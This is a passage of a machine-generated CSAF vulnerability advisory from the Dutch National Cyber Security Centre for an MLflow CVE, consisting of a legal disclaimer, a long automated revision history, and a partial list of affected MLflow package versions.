{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-64849", "tracking": { "current_release_date": "2026-08-25T09:15:49.445746Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-64849", "initial_release_date": "2026-08-17T21:40:04.917002Z", "revision_history": [ { "date": "2026-08-17T21:40:04.917002Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (5).| CWES updated (1)." }, { "date": "2026-08-17T21:40:17.545596Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-08-17T22:31:12.345110Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-08-17T22:31:14.565199Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-08-17T22:39:48.773256Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)." }, { "date": "2026-08-17T22:39:55.507337Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-08-18T06:08:27.809350Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (181).| Product Identifiers created (182).| Products created (2).| References created (5).| CWES updated (1)." }, { "date": "2026-08-18T15:28:46.299874Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-08-18T15:28:54.294109Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-08-18T18:00:55.210739Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-08-18T18:01:03.324447Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-08-18T18:12:03.437455Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Products connected (21).| References created (7).| CWES updated (1)." }, { "date": "2026-08-18T18:39:19.035657Z", "number": "13", "summary": "Unknown change." }, { "date": "2026-08-19T04:38:45.983391Z", "number": "14", "summary": "Unknown change." }, { "date": "2026-08-19T12:04:53.233126Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-08-19T12:04:55.575917Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-08-19T14:18:45.459722Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-08-19T15:23:52.602295Z", "number": "18", "summary": "EPSS updated." }, { "date": "2026-08-19T17:07:30.430110Z", "number": "19", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products created (1).| Exploits created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-08-19T18:27:53.552782Z", "number": "20", "summary": "References created (1)." }, { "date": "2026-08-19T18:39:19.183316Z", "number": "21", "summary": "References created (1).| Unknown change." }, { "date": "2026-08-19T18:41:02.727848Z", "number": "22", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (183).| Product Identifiers created (182).| References created (7)." }, { "date": "2026-08-19T18:41:23.048412Z", "number": "23", "summary": "NCSC Score updated." }, { "date": "2026-08-19T18:48:02.470867Z", "number": "24", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Exploits created (1).| References created (5).| Exploitable created." }, { "date": "2026-08-19T19:26:11.767043Z", "number": "25", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (2)." }, { "date": "2026-08-19T19:26:16.574810Z", "number": "26", "summary": "NCSC Score updated." }, { "date": "2026-08-20T04:39:06.627756Z", "number": "27", "summary": "Unknown change." }, { "date": "2026-08-20T05:17:56.033967Z", "number": "28", "summary": "NCSC Score updated." }, { "date": "2026-08-20T08:00:56.933582Z", "number": "29", "summary": "References created (1)." }, { "date": "2026-08-20T08:01:01.070872Z", "number": "30", "summary": "NCSC Score updated." }, { "date": "2026-08-20T11:30:56.308769Z", "number": "31", "summary": "NCSC Score updated." }, { "date": "2026-08-20T12:05:26.316867Z", "number": "32", "summary": "Source created.| CVE status created. (valid)| News created (1)." }, { "date": "2026-08-20T12:05:35.492331Z", "number": "33", "summary": "NCSC Score updated." }, { "date": "2026-08-20T12:05:43.434334Z", "number": "34", "summary": "Source created.| CVE status created. (valid)| Products created (1).| References created (5)." }, { "date": "2026-08-20T12:05:46.981652Z", "number": "35", "summary": "NCSC Score updated." }, { "date": "2026-08-20T12:29:25.341173Z", "number": "36", "summary": "Source created.| CVE status created. (valid)| News created (1)." }, { "date": "2026-08-20T12:29:34.760546Z", "number": "37", "summary": "NCSC Score updated." }, { "date": "2026-08-20T12:31:33.738465Z", "number": "38", "summary": "Source created.| CVE status created. (valid)| News created (1)." }, { "date": "2026-08-20T12:31:38.251240Z", "number": "39", "summary": "NCSC Score updated." }, { "date": "2026-08-20T14:15:45.581291Z", "number": "40", "summary": "NCSC Score updated." }, { "date": "2026-08-20T14:17:49.085428Z", "number": "41", "summary": "NCSC Score updated." }, { "date": "2026-08-20T15:22:43.287256Z", "number": "42", "summary": "EPSS updated." }, { "date": "2026-08-20T15:22:49.549102Z", "number": "43", "summary": "NCSC Score updated." }, { "date": "2026-08-21T12:05:59.742127Z", "number": "44", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (7)." }, { "date": "2026-08-21T12:06:02.766755Z", "number": "45", "summary": "NCSC Score updated." }, { "date": "2026-08-24T15:29:34.060525Z", "number": "46", "summary": "EPSS updated." }, { "date": "2026-08-24T15:29:36.339456Z", "number": "47", "summary": "NCSC Score updated." }, { "date": "2026-08-25T09:15:40.556366Z", "number": "48", "summary": "NCSC Score updated." } ], "status": "interim", "version": "48" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-9014698" } } ], "category": "product_name", "name": "MLflow" } ], "category": "vendor", "name": "MLflow" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=3.13.0", "product": { "name": "vers:unknown/<=3.13.0", "product_id": "CSAFPID-9026803" } } ], "category": "product_name", "name": "MLflow" } ], "category": "vendor", "name": "Open Source" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-9015596" } } ], "category": "product_name", "name": "MLflow" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.1", "product": { "name": "vers:unknown/0.0.1", "product_id": "CSAFPID-3237077", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.0", "product": { "name": "vers:unknown/0.1.0", "product_id": "CSAFPID-3237078", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.0", "product": { "name": "vers:unknown/0.2.0", "product_id": "CSAFPID-3237079", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.1", "product": { "name": "vers:unknown/0.2.1", "product_id": "CSAFPID-3237080", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.0", "product": { "name": "vers:unknown/0.3.0", "product_id": "CSAFPID-3237081", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.0", "product": { "name": "vers:unknown/0.4.0", "product_id": "CSAFPID-3237082", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.1", "product": { "name": "vers:unknown/0.4.1", "product_id": "CSAFPID-3237083", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.2", "product": { "name": "vers:unknown/0.4.2", "product_id": "CSAFPID-3237084", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0", "product": { "name": "vers:unknown/0.5.0", "product_id": "CSAFPID-1104454", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.1", "product": { "name": "vers:unknown/0.5.1", "product_id": "CSAFPID-3237085", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.2", "product": { "name": "vers:unknown/0.5.2", "product_id": "CSAFPID-3237086", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0", "product": { "name": "vers:unknown/0.6.0", "product_id": "CSAFPID-3237087", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.0", "product": { "name": "vers:unknown/0.7.0", "product_id": "CSAFPID-3237088", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.0", "product": { "name": "vers:unknown/0.8.0", "product_id": "CSAFPID-3237089", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.1", "product": { "name": "vers:unknown/0.8.1", "product_id": "CSAFPID-3237090", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.2", "product": { "name": "vers:unknown/0.8.2", "product_id": "CSAFPID-3237091", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.0", "product": { "name": "vers:unknown/0.9.0", "product_id": "CSAFPID-1104448", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.0.1", "product": { "name": "vers:unknown/0.9.0.1", "product_id": "CSAFPID-3237092", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.9.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.1", "product": { "name": "vers:unknown/0.9.1", "product_id": "CSAFPID-3237093", "product_identification_helper": { "purl": "pkg:pypi/mlflow@0.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.0", "product": { "name": "vers:unknown/1.0.0", "product_id": "CSAFPID-3237094", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.0", "product": { "name": "vers:unknown/1.1.0", "product_id": "CSAFPID-1104447", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.1.dev0", "product": { "name": "vers:unknown/1.1.1.dev0", "product_id": "CSAFPID-3237095", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.1.1.dev0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.10.0", "product": { "name": "vers:unknown/1.10.0", "product_id": "CSAFPID-3237096", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.11.0", "product": { "name": "vers:unknown/1.11.0", "product_id": "CSAFPID-1104456", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.12.0", "product": { "name": "vers:unknown/1.12.0", "product_id": "CSAFPID-3237097", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.12.1", "product": { "name": "vers:unknown/1.12.1", "product_id": "CSAFPID-3237098", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.13", "product": { "name": "vers:unknown/1.13", "product_id": "CSAFPID-3237099", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.13" } } }, { "category": "product_version_range", "name": "vers:unknown/1.13.1", "product": { "name": "vers:unknown/1.13.1", "product_id": "CSAFPID-3237100", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.14.0", "product": { "name": "vers:unknown/1.14.0", "product_id": "CSAFPID-3237101", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.14.1", "product": { "name": "vers:unknown/1.14.1", "product_id": "CSAFPID-3237102", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.14.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.15.0", "product": { "name": "vers:unknown/1.15.0", "product_id": "CSAFPID-3237103", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.15.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.16.0", "product": { "name": "vers:unknown/1.16.0", "product_id": "CSAFPID-3237104", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.16.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.17.0", "product": { "name": "vers:unknown/1.17.0", "product_id": "CSAFPID-3237105", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.17.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.18.0", "product": { "name": "vers:unknown/1.18.0", "product_id": "CSAFPID-3237106", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.19.0", "product": { "name": "vers:unknown/1.19.0", "product_id": "CSAFPID-3237107", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.19.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0", "product": { "name": "vers:unknown/1.2.0", "product_id": "CSAFPID-3237108", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.20.0", "product": { "name": "vers:unknown/1.20.0", "product_id": "CSAFPID-3237109", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.20.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.20.1", "product": { "name": "vers:unknown/1.20.1", "product_id": "CSAFPID-3237110", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.20.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.20.2", "product": { "name": "vers:unknown/1.20.2", "product_id": "CSAFPID-3237111", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.20.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.21.0", "product": { "name": "vers:unknown/1.21.0", "product_id": "CSAFPID-3237112", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.22.0", "product": { "name": "vers:unknown/1.22.0", "product_id": "CSAFPID-3237113", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.23.0", "product": { "name": "vers:unknown/1.23.0", "product_id": "CSAFPID-1104450", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.23.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.23.1", "product": { "name": "vers:unknown/1.23.1", "product_id": "CSAFPID-3237114", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.23.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.24.0", "product": { "name": "vers:unknown/1.24.0", "product_id": "CSAFPID-1104449", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.24.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.25.0", "product": { "name": "vers:unknown/1.25.0", "product_id": "CSAFPID-3237115", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.25.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.25.1", "product": { "name": "vers:unknown/1.25.1", "product_id": "CSAFPID-3237116", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.25.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.26.0", "product": { "name": "vers:unknown/1.26.0", "product_id": "CSAFPID-3237117", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.26.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.26.1", "product": { "name": "vers:unknown/1.26.1", "product_id": "CSAFPID-3237118", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.26.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.27.0", "product": { "name": "vers:unknown/1.27.0", "product_id": "CSAFPID-1104455", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.27.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.28.0", "product": { "name": "vers:unknown/1.28.0", "product_id": "CSAFPID-3237119", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.28.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.29.0", "product": { "name": "vers:unknown/1.29.0", "product_id": "CSAFPID-3237120", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.29.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0", "product": { "name": "vers:unknown/1.3.0", "product_id": "CSAFPID-3237121", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.30.0", "product": { "name": "vers:unknown/1.30.0", "product_id": "CSAFPID-3237122", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.30.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.30.1", "product": { "name": "vers:unknown/1.30.1", "product_id": "CSAFPID-3237123", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.30.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.0", "product": { "name": "vers:unknown/1.4.0", "product_id": "CSAFPID-3237124", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5.0", "product": { "name": "vers:unknown/1.5.0", "product_id": "CSAFPID-3237125", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.0", "product": { "name": "vers:unknown/1.6.0", "product_id": "CSAFPID-3237126", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.0", "product": { "name": "vers:unknown/1.7.0", "product_id": "CSAFPID-3237127", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.1", "product": { "name": "vers:unknown/1.7.1", "product_id": "CSAFPID-3237128", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.2", "product": { "name": "vers:unknown/1.7.2", "product_id": "CSAFPID-3237129", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0", "product": { "name": "vers:unknown/1.8.0", "product_id": "CSAFPID-3237130", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.9.0", "product": { "name": "vers:unknown/1.9.0", "product_id": "CSAFPID-3237131", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.9.1", "product": { "name": "vers:unknown/1.9.1", "product_id": "CSAFPID-3237132", "product_identification_helper": { "purl": "pkg:pypi/mlflow@1.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0", "product": { "name": "vers:unknown/2.0.0", "product_id": "CSAFPID-3237133", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.0rc0", "product": { "name": "vers:unknown/2.0.0rc0", "product_id": "CSAFPID-1104452", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.0.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1", "product": { "name": "vers:unknown/2.0.1", "product_id": "CSAFPID-3237134", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.1.0", "product": { "name": "vers:unknown/2.1.0", "product_id": "CSAFPID-3237135", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.1.1", "product": { "name": "vers:unknown/2.1.1", "product_id": "CSAFPID-3237136", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.10.0", "product": { "name": "vers:unknown/2.10.0", "product_id": "CSAFPID-3249345", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.10.1", "product": { "name": "vers:unknown/2.10.1", "product_id": "CSAFPID-3249346", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.10.2", "product": { "name": "vers:unknown/2.10.2", "product_id": "CSAFPID-3249347", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.10.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.11.0", "product": { "name": "vers:unknown/2.11.0", "product_id": "CSAFPID-1081336", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.11.1", "product": { "name": "vers:unknown/2.11.1", "product_id": "CSAFPID-1081337", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.11.2", "product": { "name": "vers:unknown/2.11.2", "product_id": "CSAFPID-1081338", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.11.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.11.3", "product": { "name": "vers:unknown/2.11.3", "product_id": "CSAFPID-3249348", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.11.3" } } }, { "category": "product_version_range", "name": "vers:unknown/2.11.4", "product": { "name": "vers:unknown/2.11.4", "product_id": "CSAFPID-3249349", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.11.4" } } }, { "category": "product_version_range", "name": "vers:unknown/2.12.0", "product": { "name": "vers:unknown/2.12.0", "product_id": "CSAFPID-3249350", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.12.1", "product": { "name": "vers:unknown/2.12.1", "product_id": "CSAFPID-3249351", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.12.2", "product": { "name": "vers:unknown/2.12.2", "product_id": "CSAFPID-3249352", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.12.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.13.0", "product": { "name": "vers:unknown/2.13.0", "product_id": "CSAFPID-3249353", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.13.1", "product": { "name": "vers:unknown/2.13.1", "product_id": "CSAFPID-3249354", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.13.2", "product": { "name": "vers:unknown/2.13.2", "product_id": "CSAFPID-3249355", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.13.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.0", "product": { "name": "vers:unknown/2.14.0", "product_id": "CSAFPID-3249356", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.0rc0", "product": { "name": "vers:unknown/2.14.0rc0", "product_id": "CSAFPID-3249357", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.1", "product": { "name": "vers:unknown/2.14.1", "product_id": "CSAFPID-3249358", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.2", "product": { "name": "vers:unknown/2.14.2", "product_id": "CSAFPID-3273624", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.2.dev0", "product": { "name": "vers:unknown/2.14.2.dev0", "product_id": "CSAFPID-3273625", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.2.dev0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.14.3", "product": { "name": "vers:unknown/2.14.3", "product_id": "CSAFPID-3273626", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.14.3" } } }, { "category": "product_version_range", "name": "vers:unknown/2.15.0", "product": { "name": "vers:unknown/2.15.0", "product_id": "CSAFPID-3273627", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.15.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.15.0rc0", "product": { "name": "vers:unknown/2.15.0rc0", "product_id": "CSAFPID-3273628", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.15.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.15.1", "product": { "name": "vers:unknown/2.15.1", "product_id": "CSAFPID-3273629", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.15.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.16.0", "product": { "name": "vers:unknown/2.16.0", "product_id": "CSAFPID-3273630", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.16.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.16.1", "product": { "name": "vers:unknown/2.16.1", "product_id": "CSAFPID-3273631", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.16.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.16.2", "product": { "name": "vers:unknown/2.16.2", "product_id": "CSAFPID-3273632", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.16.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.17.0", "product": { "name": "vers:unknown/2.17.0", "product_id": "CSAFPID-2536957", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.17.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.17.0rc0", "product": { "name": "vers:unknown/2.17.0rc0", "product_id": "CSAFPID-3273633", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.17.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.17.1", "product": { "name": "vers:unknown/2.17.1", "product_id": "CSAFPID-2536958", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.17.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.17.2", "product": { "name": "vers:unknown/2.17.2", "product_id": "CSAFPID-2536959", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.17.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.18.0", "product": { "name": "vers:unknown/2.18.0", "product_id": "CSAFPID-3273634", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.18.0rc0", "product": { "name": "vers:unknown/2.18.0rc0", "product_id": "CSAFPID-3273635", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.18.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.19.0", "product": { "name": "vers:unknown/2.19.0", "product_id": "CSAFPID-3273636", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.19.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.19.0rc0", "product": { "name": "vers:unknown/2.19.0rc0", "product_id": "CSAFPID-3273637", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.19.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.2.0", "product": { "name": "vers:unknown/2.2.0", "product_id": "CSAFPID-3237137", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.2.1", "product": { "name": "vers:unknown/2.2.1", "product_id": "CSAFPID-3237138", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.2.2", "product": { "name": "vers:unknown/2.2.2", "product_id": "CSAFPID-3237139", "product_identification_helper": { "purl": "pkg:pypi/mlflow@2.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/2.20.0", "product": { "name": 